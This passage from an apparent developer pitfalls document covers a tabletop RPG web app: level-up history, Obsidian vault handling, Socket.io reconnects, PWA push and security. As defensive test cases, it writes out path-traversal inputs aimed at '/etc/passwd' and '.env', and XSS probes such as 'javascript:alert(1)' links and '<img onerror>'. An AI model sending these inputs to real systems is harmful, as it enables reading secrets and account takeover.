---
|
||||
|
||||
### Pitfall 11: PF2e Level-Up — skill increase tracking forgets which skills were already increased at which level
|
||||
|
||||
**What goes wrong:**
|
||||
Player has Trained in Athletics at level 1, increases to Expert at level 3, Master at level 7, Legendary at level 15. App stores `athletics.proficiency = "legendary"` only. At level 20, player wants to undo the level-15 increase. App doesn't know which skill was the level-15 choice — has to guess or block all undo.
|
||||
|
||||
**Why it happens:**
|
||||
Final value is what's displayed on the sheet, so devs only persist the final value. The history of increases is implicit ("must have been at level 15 because legendary") which fails when multiple skills are at the same rank.
|
||||
|
||||
**How to avoid:**
|
||||
- Persist `SkillIncreaseHistory` as `(characterId, skillId, level, fromRank, toRank)` rows
|
||||
- On any skill query, current rank = sum of increases up to current level
|
||||
- This also makes the rank-gates trivial to enforce: at levels 3-6, only Trained→Expert. At 7+, also Expert→Master. At 15+, also Master→Legendary.
|
||||
- Pathbuilder import: synthesize history rows when possible (Pathbuilder export contains ranks per level), otherwise create one row per current rank with `level = currentLevel` (lossy but at least consistent)
|
||||
|
||||
**Warning signs:**
|
||||
- Level-up UI lets player increase a skill they already increased this level
|
||||
- Undo of level-N skill increase requires guessing which skill
|
||||
- Imported character has different ranks than Pathbuilder
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 12: Obsidian wikilinks resolve ambiguously to the wrong note
|
||||
|
||||
**What goes wrong:**
|
||||
Vault has `Characters/Aldrin.md` and `NPCs/Aldrin.md`. A note links `[[Aldrin]]`. App's resolver picks the first match (alphabetical, by depth, or by a path heuristic). Sometimes it picks `Characters/Aldrin`, sometimes `NPCs/Aldrin`, depending on file order returned by the filesystem. Player following the link gets the wrong character page. Indexing performance also varies.
|
||||
|
||||
**Why it happens:**
|
||||
Obsidian uses a "shortest path that's still unique" rule. When multiple notes have the same basename, the rule does NOT pick the first match — it falls back to absolute path. Naive resolvers don't replicate this.
|
||||
|
||||
**How to avoid:**
|
||||
- Implement Obsidian's resolution algorithm faithfully:
|
||||
1. Exact match on the link text (`[[Folder/Name]]`) → resolve to that path
|
||||
2. Otherwise, basename match: if exactly one file in the vault has that basename, use it
|
||||
3. If multiple files share the basename, the link is **ambiguous** → either error out, render as `[[Aldrin (mehrdeutig)]]` with a tooltip listing matches, or use the link's containing-folder context
|
||||
- Build a basename index at vault-load time: `Map<basename, fullPath[]>`. Detect ambiguity in O(1).
|
||||
- Cache the index, invalidate when the vault changes (mtime check or webhook from the vault server)
|
||||
- Surface ambiguity to the user — a vault read-only browser that silently picks wrong is worse than one that says "ambiguous, choose one"
|
||||
- Don't follow Obsidian's "shortest path possible" link-creation default unless you also implement its conflict UI; pick a deterministic tie-breaker (alphabetical full path) and document it
|
||||
|
||||
**Warning signs:**
|
||||
- Same wikilink resolves differently on different vault reads
|
||||
- Two notes with the same basename and link target unclear
|
||||
- Performance regression in resolver as vault grows
|
||||
|
||||
**Phase to address:** Obsidian
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 13: Obsidian embed loops cause stack overflow / infinite render
|
||||
|
||||
**What goes wrong:**
|
||||
`A.md` contains `![[B]]` (embed B). `B.md` contains `![[A]]`. Naive recursive renderer expands forever, eventually crashing the tab or hanging the server depending on where rendering happens.
|
||||
|
||||
**Why it happens:**
|
||||
Embeds are recursive by design. Devs implement them as straight recursion without cycle detection.
|
||||
|
||||
**How to avoid:**
|
||||
- Maintain a per-render `Set<resolvedPath>` of already-being-rendered notes. Before recursing into an embed, check if path is in the set. If yes, render `[Eingebettete Note: {name} (Zyklus)]` placeholder.
|
||||
- Hard cap embed depth at 3-4 levels even in non-cyclic cases (deeply nested embeds are user error)
|
||||
- Render server-side OR limit client-side embed expansion to one level (Obsidian itself doesn't recursively expand more than one level on first render)
|
||||
- Test with a known-cyclic vault before shipping
|
||||
|
||||
**Warning signs:**
|
||||
- Page hangs on certain notes
|
||||
- Server CPU spike on vault read of specific files
|
||||
- Stack overflow errors in renderer
|
||||
|
||||
**Phase to address:** Obsidian
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 14: Vault path traversal allows reading files outside the vault root
|
||||
|
||||
**What goes wrong:**
|
||||
Vault server endpoint accepts `?path=../../etc/passwd` or `?path=Notes/../../../server.env`. Naive path joining (`vaultRoot + userInput`) followed by `fs.readFile` reads any file the server process can access.
|
||||
|
||||
**Why it happens:**
|
||||
Server devs forget that wikilinks come from user-controlled markdown content, not just direct API calls. Even reading-only is dangerous if the read can target sensitive files.
|
||||
|
||||
**How to avoid:**
|
||||
- Resolve the requested path with `path.resolve(vaultRoot, userPath)`
|
||||
- Verify the resolved absolute path **starts with** `vaultRoot + path.sep` — reject otherwise
|
||||
- Refuse any path containing `..`, null bytes (`%00`), or symlinks pointing outside the vault
|
||||
- Whitelist file extensions: `.md`, `.png`, `.jpg`, `.jpeg`, `.gif`, `.webp`, `.svg`, `.pdf`. Reject everything else.
|
||||
- Authenticate the vault endpoint with the same JWT as the rest of the API
|
||||
- On Windows, also reject paths containing `:` or device names (`CON`, `PRN`, `NUL`, `AUX`, `COM1`-`COM9`, `LPT1`-`LPT9`) — can be used for device-name attacks
|
||||
|
||||
**Warning signs:**
|
||||
- Vault endpoint accepts arbitrary path strings without validation
|
||||
- Resolved path doesn't get normalized before access
|
||||
- Tests don't cover `..`, symlinks, or absolute paths
|
||||
|
||||
**Phase to address:** Obsidian
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 15: Socket.io message ordering breaks on reconnect; Connection State Recovery not enabled
|
||||
|
||||
**What goes wrong:**
|
||||
Player loses Wi-Fi for 5 seconds during battle. GM updates 3 token positions during that gap. On reconnect, player sees only the latest token position emitted *after* reconnect — the 3 missed updates are lost. Or worse, a chat message sent during the gap never arrives, and there's no indication of loss.
|
||||
|
||||
**Why it happens:**
|
||||
Default Socket.io reconnects but does NOT replay missed events unless Connection State Recovery (CSR) is explicitly enabled. Even with CSR, the recovery window is short (default 2 minutes) and the adapter must support it.
|
||||
|
||||
**How to avoid:**
|
||||
- Enable Connection State Recovery on the server: `io({connectionStateRecovery: {maxDisconnectionDuration: 2 * 60 * 1000, skipMiddlewares: true}})`
|
||||
- For events that **must not be lost** (chat messages, dice rolls, GM-pings), use the `retries` option on emit: `socket.emit(event, payload, {retries: 3})` and require server ack
|
||||
- For state-sync events (HP, token position), don't worry about replay — instead, on reconnect, **re-fetch the current state** via REST and reconcile. WebSocket events are the live update channel; REST is the source of truth.
|
||||
- Persist chat and rolls to Postgres immediately on receipt, broadcast as a notification only. On reconnect, client refetches `since=lastSeenId` from REST.
|
||||
- Acknowledge important events: server emits `chat:new` with a callback; client invokes the callback to confirm receipt; server retries N times if no ack within timeout.
|
||||
|
||||
**Warning signs:**
|
||||
- "I missed the GM's message" reports
|
||||
- Token positions desync between clients
|
||||
- Chat history has gaps after a reconnect
|
||||
- No ack-tracking on critical events
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen, Dice/Chat (cross-cutting WebSocket area)
|
||||
|
||||
---
|
||||
|
||||
## Moderate Pitfalls
|
||||
|
||||
### Pitfall 16: Cascading deletes wipe historical data unintentionally
|
||||
|
||||
**What goes wrong:**
|
||||
GM deletes an old battle session for cleanup. With `onDelete: Cascade` on `BattleSession → RollLog`, all roll history from that battle is gone. Players lose their historic crits. Or: campaign deletion cascades to characters, characters cascade to rolls — entire user history vanishes.
|
||||
|
||||
**Why it happens:**
|
||||
Devs default to Cascade because "clean up automatically". Don't think about which children are *historical records* vs *transient state*.
|
||||
|
||||
**How to avoid:**
|
||||
- Decide per-relation: is the child **dependent state** (token positions only meaningful inside their battle → Cascade) or **historical record** (rolls/chat are part of campaign history → Restrict or SetNull with `archivedAt`)?
|
||||
- Soft-delete (`deletedAt: DateTime?`) for top-level entities (Campaign, BattleSession) so accidents are recoverable
|
||||
- For `PushSubscription`: Cascade on User delete (no orphan subs)
|
||||
- For `RollLog`/`ChatMessage`: NoAction on User delete (preserve history; show "Spieler entfernt" instead of name); soft-delete the user
|
||||
- For `BattleEffect`: Cascade on token delete (effect is a property of the token)
|
||||
- Document each onDelete in a comment in `schema.prisma`
|
||||
|
||||
**Warning signs:**
|
||||
- Deleting a parent unexpectedly nukes lots of child rows
|
||||
- Migration introduces Cascade on a relation that previously had Restrict
|
||||
- No soft-delete on user-facing entities
|
||||
|
||||
**Phase to address:** All phases that add new tables (Level-Up: LevelUpSession; PWA: PushSubscription; Battle: BattleEffect; Dice/Chat: RollLog, ChatMessage)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 17: Per-event JWT validation overloads the gateway
|
||||
|
||||
**What goes wrong:**
|
||||
Codebase already has `characters.gateway.ts` doing JWT verification on connect. As new events are added (`dice:roll`, `chat:send`, `battle:effect:apply`), devs add per-event auth checks that re-decode the JWT every time. CPU spikes during a busy combat round (10+ events/sec).
|
||||
|
||||
**Why it happens:**
|
||||
"Belt and suspenders" mindset. JWT verify is fast (microseconds) but at scale it accumulates.
|
||||
|
||||
**How to avoid:**
|
||||
- Validate JWT **once on connect** (already done). Store the userId on the socket: `socket.data.userId`
|
||||
- Per-event handlers read `socket.data.userId` — no re-decode
|
||||
- Authorization (does this user have rights to this action?) is per-event, but uses the cached userId — only DB lookups for role/membership, no JWT work
|
||||
- Add token-revocation table check ONLY on connect, not per event. Acceptable trade-off: revoked token stays valid until disconnect (~minutes to hours).
|
||||
- Implement a server-side "kick" admin action that disconnects sockets by userId for emergency revocation
|
||||
|
||||
**Warning signs:**
|
||||
- CPU spike during high-event-rate moments
|
||||
- Repeated JWT verify calls in profiler output
|
||||
- Adding new events requires copy-pasting auth code
|
||||
|
||||
**Phase to address:** Cross-cutting (Battle-Multi-Screen, Dice/Chat, GM-Live-Tools all add new events)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 18: WebSocket room cleanup leaks on disconnect
|
||||
|
||||
**What goes wrong:**
|
||||
Existing `connectedClients` Map (already noted in CONCERNS.md) grows because disconnects don't always remove entries cleanly. Add Battle rooms, Roll-Log rooms, Chat rooms → multiple maps, multiple leak paths. Server memory grows monotonically.
|
||||
|
||||
**Why it happens:**
|
||||
Custom client tracking duplicates Socket.io's built-in room tracking. Disconnect handler forgets one of the maps.
|
||||
|
||||
**How to avoid:**
|
||||
- Remove the custom `connectedClients` Map. Use Socket.io rooms exclusively. Rooms auto-cleanup on disconnect.
|
||||
- For "is user X online" queries, use `io.in(`user:${userId}`).fetchSockets()` rather than a custom map
|
||||
- Single disconnect handler does all cleanup; never spread cleanup across feature modules
|
||||
- Add a periodic health check that logs `io.sockets.sockets.size` — alert if it grows unboundedly
|
||||
|
||||
**Warning signs:**
|
||||
- `connectedClients.size > sockets.size` (drift)
|
||||
- Memory usage trends up over multi-day sessions
|
||||
- "Phantom" online users
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen (when adding battle rooms + display rooms)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 19: Mobile device sleeps during session, missing push and breaking WebSocket
|
||||
|
||||
**What goes wrong:**
|
||||
Player puts phone face-down on table. Phone sleeps after 30s. WebSocket disconnects. GM sends "Würfel Reflex-Save" push. Phone is asleep — push wakes it briefly, notification appears in tray, but the app's WebSocket is still disconnected. Player taps notification, app opens, but the app shows stale state because the reconnect-and-refetch flow takes 3+ seconds.
|
||||
|
||||
**Why it happens:**
|
||||
Mobile OSes aggressively suspend background tabs and apps. WebSocket through a sleeping phone is dead. Push wakes the OS but not the app's network state.
|
||||
|
||||
**How to avoid:**
|
||||
- On `visibilitychange` → `visible`, immediately: check WebSocket connection state, reconnect if needed, refetch current campaign + battle state via REST
|
||||
- Show a clear "Verbinde wieder..." indicator during reconnect, hide all stale data behind it
|
||||
- Wake Lock API for active turn: when it's the player's turn, acquire a wake lock so screen stays on. Release when turn ends. Document battery impact.
|
||||
- Push payload includes an `action` field: notification tap deep-links to the relevant page (battle, dice prompt, chat) so reconnect happens at the right place
|
||||
- Service worker handles push by displaying the notification AND optionally updating an IndexedDB queue of pending actions, so when the app reopens, it knows what was pending
|
||||
|
||||
**Warning signs:**
|
||||
- "I tapped the push but the app is in the wrong place"
|
||||
- Stale data on app reopen
|
||||
- Battery drain (over-eager wake lock or polling)
|
||||
|
||||
**Phase to address:** PWA / Mobile-First polish
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 20: Reconnect storm when Wi-Fi at the table flaps
|
||||
|
||||
**What goes wrong:**
|
||||
Wi-Fi at the gaming table briefly drops (router hiccup, neighbor microwaving). All 5 player phones + GM laptop + table display all disconnect simultaneously. Wi-Fi recovers. All 7 clients try to reconnect at the same moment. With Socket.io's default backoff, they all hit the server within 1 second. Server is fine for 7 clients, but if the server is also doing CPU-heavy work (e.g., translation API, DB query), the spike causes a cascade of slow connects, ack timeouts, more retries.
|
||||
|
||||
**Why it happens:**
|
||||
Same network, same event → synchronized reconnects. No jitter in the backoff.
|
||||
|
||||
**How to avoid:**
|
||||
- Configure Socket.io client with randomized backoff: `reconnectionDelay: 1000, reconnectionDelayMax: 5000, randomizationFactor: 0.5`
|
||||
- Server: rate-limit connection attempts per IP (the existing concern in CONCERNS.md flags this — fix in this milestone since we're adding more event load)
|
||||
- Connection State Recovery cushions the impact: if the disconnect was < 2min, the recovered session reuses state, no full re-init needed
|
||||
- Separate "static asset" CDN/path from API path so SW can serve cached UI even when API is overloaded
|
||||
|
||||
**Warning signs:**
|
||||
- All clients lose connection at once and recovery is slow
|
||||
- Server logs show simultaneous connect bursts
|
||||
- Long "Verbinde..." spinner after a brief outage
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen (where reconnect resilience matters most), Mobile/PWA
|
||||
|
||||
---
|
||||
|
||||
## Minor Pitfalls
|
||||
|
||||
### Pitfall 21: Manifest icon traps (maskable, sizes, splash)
|
||||
|
||||
**What goes wrong:**
|
||||
Android shows a white square inside the app icon (because non-maskable icon used in maskable slot). iOS doesn't show a splash screen (because no `apple-touch-icon` link tags or `apple-touch-startup-image`). PWA looks unprofessional or non-installable.
|
||||
|
||||
**How to avoid:**
|
||||
- Provide both `"any"` and `"maskable"` icon variants. Maskable icons must have safe-zone padding (icon content within 80% diameter circle).
|
||||
- Sizes required: 192x192, 512x512, plus apple-touch-icon 180x180
|
||||
- iOS splash screens are device-specific; use a generator or a single-image fallback
|
||||
- Test on real iOS Safari + Android Chrome before claiming "PWA-ready"
|
||||
|
||||
**Phase to address:** PWA
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 22: Chat/roll history queries are not indexed for time-paginated reads
|
||||
|
||||
**What goes wrong:**
|
||||
`SELECT * FROM ChatMessage WHERE campaignId = X ORDER BY createdAt DESC LIMIT 50` is fast at 1k messages, slow at 100k. Server hot-path during scrollback.
|
||||
|
||||
**How to avoid:**
|
||||
- Composite index `@@index([campaignId, createdAt(sort: Desc)])` on ChatMessage and RollLog from day one
|
||||
- Use cursor-based pagination (`WHERE createdAt < cursor ORDER BY createdAt DESC LIMIT 50`) not offset-based
|
||||
- Optionally archive messages older than 1 year to a separate table (premature for this scale)
|
||||
|
||||
**Phase to address:** Dice/Chat
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 23: "Offline" PWA shows login screen because auth check fails offline
|
||||
|
||||
**What goes wrong:**
|
||||
Player opens app on the train (no Wi-Fi). PWA loads (cached shell), but the auth check (`GET /api/auth/me`) fails → app redirects to login → login API call also fails → user sees broken login screen and assumes app is dead.
|
||||
|
||||
**How to avoid:**
|
||||
- App-shell loads UI optimistically using cached JWT validity (decode locally, check `exp`)
|
||||
- Network errors on auth-check are NOT treated as "logged out" — they're "offline, using last-known identity"
|
||||
- Distinct error states: "Nicht eingeloggt" vs "Offline — gecachte Daten verfügbar"
|
||||
- Login form shows "Offline" banner if API unreachable, doesn't try to log in
|
||||
|
||||
**Phase to address:** PWA
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 24: Display screen aspect ratio mismatch on the table-embedded screen
|
||||
|
||||
**What goes wrong:**
|
||||
Built and tested on 16:9 laptop. Tabletop screen is some weird embedded panel (maybe 4:3, maybe portrait). Map is cropped or pillarboxed badly. Tokens look wrong.
|
||||
|
||||
**How to avoid:**
|
||||
- Display mode uses `meta viewport` to lock to actual screen pixels
|
||||
- Map renders to a fit-to-window container with letterboxing background, not absolute pixels
|
||||
- Detect aspect ratio at load and adjust default zoom; provide GM control to "frame to display"
|
||||
- Get the actual screen specs from the user before shipping
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 25: GM-tool safety — accidental "set HP to 0 for all party"
|
||||
|
||||
**What goes wrong:**
|
||||
GM has bulk-control tools ("apply Frightened to all enemies"). Slips and clicks "all party" instead of "all enemies". Whole party drops to 0 HP, conditions piled on. Without confirmation, undoable change is a disaster mid-fight.
|
||||
|
||||
**How to avoid:**
|
||||
- Destructive bulk actions require confirmation modal naming the affected entities
|
||||
- All GM-live-tool actions are in a transaction that emits a single broadcast — recoverable by the ctrl-Z action that undoes the transaction
|
||||
- Keep an in-memory "last action" stack (last 5 actions) on GM client with one-click undo
|
||||
- High-impact actions (set HP to 0, kill, end battle) require a typed confirmation ("ALLE TÖTEN" must be typed)
|
||||
|
||||
**Phase to address:** GM-Live-Tools
|
||||
|
||||
---
|
||||
|
||||
## Technical Debt Patterns
|
||||
|
||||
| Shortcut | Immediate Benefit | Long-term Cost | When Acceptable |
|
||||
|----------|-------------------|----------------|-----------------|
|
||||
| Client-side dice rolls | Instant feedback, no server roundtrip | Cheating possible, no audit, no replay | **Never** for canonical rolls — OK as preview/shadow only |
|
||||
| `dangerouslySetInnerHTML` for chat markdown | Easy to render, all features work | XSS, account takeover via chat | Never |
|
||||
| Cache API for authenticated responses | Simple offline support | User-data leak across logins | Never — use IndexedDB user-scoped |
|
||||
| `skipWaiting()` + `clients.claim()` in SW | Instant updates | Mid-session reload kills state | Never in this app |
|
||||
| Storing final ability score only (no boost history) | Simpler model | Can't undo level-ups, can't audit | Never — store boost decisions |
|
||||
| Custom `connectedClients` Map | "Easy" presence tracking | Memory leaks, drift | Never — use `io.in(room).fetchSockets()` |
|
||||
| `db push` instead of `prisma migrate dev` | Skips writing migration | Lost migration history, prod drift | Never (already enforced by CLAUDE.md) |
|
||||
| `any` types for level-up wizard state | Move fast through prototyping | Bugs in branching wizards are silent | Only for spike branches that get rewritten |
|
||||
| Reading vault files with raw user paths | Simple impl | Path traversal | Never |
|
||||
| Single `RollLog` table without index | Works at small scale | Slow scrollback at 50k+ rolls | Acceptable until index strategy decided in same phase |
|
||||
|
||||
---
|
||||
|
||||
## Integration Gotchas
|
||||
|
||||
| Integration | Common Mistake | Correct Approach |
|
||||
|-------------|----------------|------------------|
|
||||
| Web Push / VAPID | Regenerate VAPID keys on every deploy | Persist keys in `.env`, treat as secret, document in `.env.example` |
|
||||
| Service Worker + Socket.io | Try to handle WebSocket inside SW | SW is for static cache + push only; WebSocket lives in the page, reconnects on visibility |
|
||||
| iOS PWA Push | Test only in Safari tab, not installed PWA | iOS push requires home-screen install + standalone display mode |
|
||||
| Obsidian vault sync | Read directly from filesystem during edit | Vault contents may change mid-read; use a stable snapshot (git ref or mtime guard) |
|
||||
| Pathbuilder import → in-app level-up | Treat imported character as authoritative for all levels then layer level-ups | Snapshot the import as level N, persist explicit level-up decisions only for level N+1 onward |
|
||||
| Claude API (existing) for new content (level-up flavor text) | Add to critical path | Cache aggressively, never block UI on translation, fallback to English |
|
||||
| Postgres + Prisma 7 | Default `Restrict` on relations causes mysterious failures on parent delete | Decide explicit `onDelete` per relation, document in schema comment |
|
||||
|
||||
---
|
||||
|
||||
## Performance Traps
|
||||
|
||||
| Trap | Symptoms | Prevention | When It Breaks |
|
||||
|------|----------|------------|----------------|
|
||||
| Unbounded `RollLog` query without index | Chat scrollback slows over weeks | Composite index on (campaignId, createdAt DESC); cursor pagination | ~50k rolls per campaign |
|
||||
| Recursive embed render without depth cap | Some vault notes hang the page | Cycle detection + max depth 3 | One cyclic note in vault |
|
||||
| Per-event JWT verify | Server CPU spike during combat rounds | Decode once on connect, cache userId on socket | ~20 events/sec sustained |
|
||||
| Broadcast every token nudge | Network thrash, mobile battery drain | Debounce drag events (60ms), emit final position only on drop | Continuous drag at 60fps × N players |
|
||||
| All clients reconnect at once after Wi-Fi flap | Server connect-burst lag | Randomized backoff, rate limit | Network flap with 5+ clients |
|
||||
| Translation lookup on every character read (existing) | Slow character sheet load | Pre-cache on seed, batch missing on load (already in CONCERNS.md) | 50+ unique items per character |
|
||||
| SW Cache for authenticated API responses | Stale data, leak between users | Don't cache auth responses in Cache API | First multi-user device |
|
||||
|
||||
---
|
||||
|
||||
## Security Mistakes
|
||||
|
||||
| Mistake | Risk | Prevention |
|
||||
|---------|------|------------|
|
||||
| Display-screen authenticated as GM | Player at table opens DevTools, sees GM-only data | Issue display-only short-lived token; server-side filter GM data per channel |
|
||||
| Markdown chat with raw HTML | Account takeover via injected `<img onerror>` | `react-markdown` without `rehype-raw`, urlTransform, no `dangerouslySetInnerHTML` |
|
||||
| Client-rolled dice broadcast as authoritative | Players spoof crits | All rolls server-side with `crypto.randomInt`, persist seed |
|
||||
| Vault path from wikilink not sanitized | Read of `/etc/passwd` or `.env` | Resolve+verify path starts with vault root; whitelist extensions |
|
||||
| JWT in localStorage XSS-readable | Stolen token | Already a known risk; mitigate via CSP, sanitize all user-rendered content. Future: HttpOnly cookie + CSRF |
|
||||
| Level-up endpoint accepts arbitrary level value | Player jumps from level 4 to level 20 | Server validates level == currentLevel + 1; level-up requires GM approval flag if going up multiple |
|
||||
| Push notification body contains sensitive data (HP, location) | Notification visible on lock screen leaks info | Generic notification body ("Eine Aktion erwartet dich"), details only after app open |
|
||||
| Unrestricted vault file size read | OOM via 1GB markdown file | Cap read at 5MB, refuse larger; report file too large gracefully |
|
||||
| Display URL shareable | Anyone with URL sees the battle | Display URL contains short-lived token, expires when battle ends |
|
||||
|
||||
---
|
||||
|
||||
## UX Pitfalls
|
||||
|
||||
| Pitfall | User Impact | Better Approach |
|
||||
|---------|-------------|-----------------|
|
||||
| Push permission prompt on first load | User reflexively denies → stuck on denied | Ask after explicit user opt-in tap, show why |
|
||||
| "Update available" banner during active battle | Disrupts session if reload triggered | Suppress during active battle; queue for after |
|
||||
| Level-up UI loses state on accidental tab close | Player redoes 20 minutes of choices | Persist wizard state every step; reload resumes |
|
||||
| Dice roll result appears in chat but page is on different tab | Player misses the outcome | Service Worker push + tab title flash + sound (opt-in) |
|
||||
| Display screen shows last-frame after disconnect | GM thinks display is fine, players see frozen state | Disconnect overlay on display screen with reconnect indicator |
|
||||
| Vault note rendering shows raw `[[wikilinks]]` on parse failure | Player sees broken syntax | Graceful fallback: render as text + warning icon, not as broken markdown |
|
||||
| Wake lock on always | Phone overheats, battery drains | Wake lock only during active turn; release on turn end |
|
||||
| Boost UI accepts duplicate boost in same set | Player applies all 4 to STR | Greyed out / disabled state with tooltip explaining why |
|
||||
| Cached character sheet offline shows old HP | Player thinks they have HP they don't | Mark as "Offline — letzte Aktualisierung vor X Min" |
|
||||
|
||||
---
|
||||
|
||||
## "Looks Done But Isn't" Checklist
|
||||
|
||||
Things that appear complete in dev but fail in real use.
|
||||
|
||||
- [ ] **PWA Install:** Often missing maskable icons, splash screens, and apple-touch-icon — verify on real iOS + Android, not just Lighthouse
|
||||
- [ ] **Web Push:** Often missing 410-Gone cleanup — verify expired subs are pruned by sending a test push to a re-installed browser
|
||||
- [ ] **Offline mode:** Often missing offline auth fallback — verify cold-load on airplane mode shows app, not login error
|
||||
- [ ] **Service Worker update:** Often missing manual update prompt — verify deploy of new version doesn't auto-reload mid-session
|
||||
- [ ] **Display screen:** Often leaks GM data via unfiltered WebSocket frames — verify with `socket.onAny(console.log)` in incognito
|
||||
- [ ] **Dice rolls:** Often computed client-side — verify server-side roll by intercepting the fetch and changing the result; UI must reject
|
||||
- [ ] **Chat markdown:** Often allows javascript: URLs — verify `[click](javascript:alert(1))` is neutralized
|
||||
- [ ] **Level-up boost:** Often missing 18-cap rule — verify boosting a stat at 18+ adds +1, not +2
|
||||
- [ ] **Level-up undo:** Often loses dependent feats — verify retraining a prereq feat surfaces broken downstream feats
|
||||
- [ ] **Skill increase:** Often loses history — verify undo of a level-15 increase knows which skill was chosen
|
||||
- [ ] **Wikilink resolution:** Often picks first match silently — verify ambiguous links are surfaced
|
||||
- [ ] **Embed loops:** Often crash on cyclic vault — verify with a deliberately cyclic test vault
|
||||
- [ ] **Path traversal:** Often allows `..` — verify `?path=../../server/.env` is rejected
|
||||
- [ ] **Reconnect:** Often loses missed messages — verify chat sent during a 30s disconnect appears after reconnect
|
||||
- [ ] **Push payload:** Often contains sensitive data — verify lock-screen notification doesn't leak HP/location
|
||||
- [ ] **Backups:** Often missing for VAPID keys + JWT_SECRET — verify they're in the `.env.example` doc and the deployment runbook
|
||||
|
||||
---
|
||||
|
||||
## Recovery Strategies
|
||||
|
||||
When pitfalls slip through, here's how to recover.
|
||||
|
||||
| Pitfall | Recovery Cost | Recovery Steps |
|
||||
|---------|---------------|----------------|
|
||||
| VAPID key lost / rotated | HIGH | Notify all users; ask each to disable + re-enable notifications in settings (resubscribes); accept silent failure for users who don't act |
|
||||
| Cache leaks user data across logins | MEDIUM | Force SW unregister via remote-config flag; client clears all caches on next load; bump SW version to invalidate; rotate JWT secret if data leak suspected |
|
||||
| Level-up corrupted character (boost cap or feat dep) | HIGH | Append-only history table is the lifeline: replay history with corrected logic; if no history, manual GM correction via admin UI |
|
||||
| Display screen showed GM data | HIGH | Audit server logs for affected battles; rotate display tokens; review WebSocket payloads with a recorded session capture |
|
||||
| Cheated dice roll detected post-hoc | MEDIUM | Rolls persisted server-side: GM can review log, retroactively correct the affected encounter |
|
||||
| Reconnect lost chat message | LOW | REST endpoint `since=lastSeenId` lets client refetch on reconnect; user can scroll back |
|
||||
| SW cached old broken JS that breaks app | MEDIUM | Add a `/api/health/version` check; if returned version differs from SW-cached version + threshold, force unregister + reload |
|
||||
| Wikilink resolution broken across vault rename | LOW | Re-index vault on detection; show "linked notes have moved" warning |
|
||||
| Embed loop hung the tab | LOW | Hard reload; future loads use cycle detection (one-time fix) |
|
||||
|
||||
---
|
||||
|
||||
## Pitfall-to-Phase Mapping
|
||||
|
||||
How roadmap phases should address these pitfalls.
|
||||
|
||||
| Pitfall | Prevention Phase | Verification |
|
||||
|---------|------------------|--------------|
|
||||
| 1. SW cache leaks user data | PWA | Multi-user shared device test passes |
|
||||
| 2. Mid-session SW force update | PWA | Deploy during active local battle test — no reload |
|
||||
| 3. iOS push silent failure | PWA | iOS PWA install + receive-push test on real device |
|
||||
| 4. VAPID key loss | PWA | `.env.example` documents key persistence; backup runbook exists |
|
||||
| 5. Display screen GM-data leak | Battle-Multi-Screen | DevTools-on-display test sees no GM-only fields |
|
||||
| 6. Client-side dice tampering | Dice/Chat | Forge a result client-side, server rejects |
|
||||
| 7. Markdown chat XSS | Dice/Chat | Inject `<img onerror>` and `[click](javascript:...)`, both neutralized |
|
||||
| 8. Boost 18-cap | Level-Up | Unit test: boost STR 18 → STR 19 (not 20) |
|
||||
| 9. Recompute side effects | Level-Up | Test: level-up at low HP doesn't reset HP to max |
|
||||
| 10. Feat retrain orphans | Level-Up | Retrain prereq feat → dependent feats flagged |
|
||||
| 11. Skill increase history | Level-Up | Test: undo level-15 increase knows which skill |
|
||||
| 12. Wikilink ambiguity | Obsidian | Test vault with two same-basename notes; ambiguity surfaced |
|
||||
| 13. Embed loops | Obsidian | Cyclic vault test renders without hang |
|
||||
| 14. Vault path traversal | Obsidian | `?path=../../etc/passwd` rejected |
|
||||
| 15. Socket.io message ordering | Battle-Multi-Screen + Dice/Chat (cross-cutting) | 30s disconnect test: missed events recovered |
|
||||
| 16. Cascading deletes | All phases adding tables | Schema review: every `onDelete` documented |
|
||||
| 17. Per-event JWT overload | Cross-cutting (touched in every event-adding phase) | Profiler shows JWT verify count = connection count, not event count |
|
||||
| 18. WebSocket room leaks | Battle-Multi-Screen | Memory profile over 24h shows no monotonic growth |
|
||||
| 19. Mobile sleep / push wakeup | PWA / Mobile-First polish | Push tap deep-link reaches correct page on cold start |
|
||||
| 20. Reconnect storm | Battle-Multi-Screen + PWA | Wi-Fi flap test with 5 clients; staggered reconnect |
|
||||
| 21. Manifest icon traps | PWA | Install on real iOS + Android; icons render correctly |
|
||||
| 22. Chat/roll index | Dice/Chat | EXPLAIN ANALYZE on paginated query shows index use |
|
||||
| 23. Offline auth fallback | PWA | Airplane mode cold load shows app, not login error |
|
||||
| 24. Display aspect ratio | Battle-Multi-Screen | Test on actual table screen |
|
||||
| 25. GM bulk-action footgun | GM-Live-Tools | Destructive action requires confirmation; undo works |
|
||||
|
||||
---
|
||||
|
||||
## Cross-Cutting: Phases that Cannot Be Skipped Without Pain
|
||||
|
||||
Three patterns must be present in **every** phase of this milestone:
|
||||
|
||||
1. **WebSocket discipline.** Each new event needs: server-side validation → server-side persist (if historical) → broadcast (if needed) → client-side reconcile-on-reconnect. Gateway is the bottleneck — make it boringly consistent.
|
||||
|
||||
2. **PostgreSQL referential thinking.** Each new table needs: explicit `onDelete` decision, composite indexes for query patterns, transaction wrapping for multi-table writes. The CharactersService (1454 lines, no tests, no transactions) is the cautionary tale.
|
||||
|
||||
3. **Test coverage on critical paths.** The codebase has zero tests today. Every pitfall above is detectable by a test. The level-up math, the dice parser, the wikilink resolver, the path-traversal guard — these are ALL pure functions or near-pure functions. Test them. The death-spiral logic in HP/Dying/Wounded is already a flagged risk in CONCERNS.md; level-up adds another such mechanism. Don't ship pitfall-prone code with no test net.
|
||||
|
||||
---
|
||||
|
||||
## Sources
|
||||
|
||||
PWA / Service Worker / Cache:
|
||||
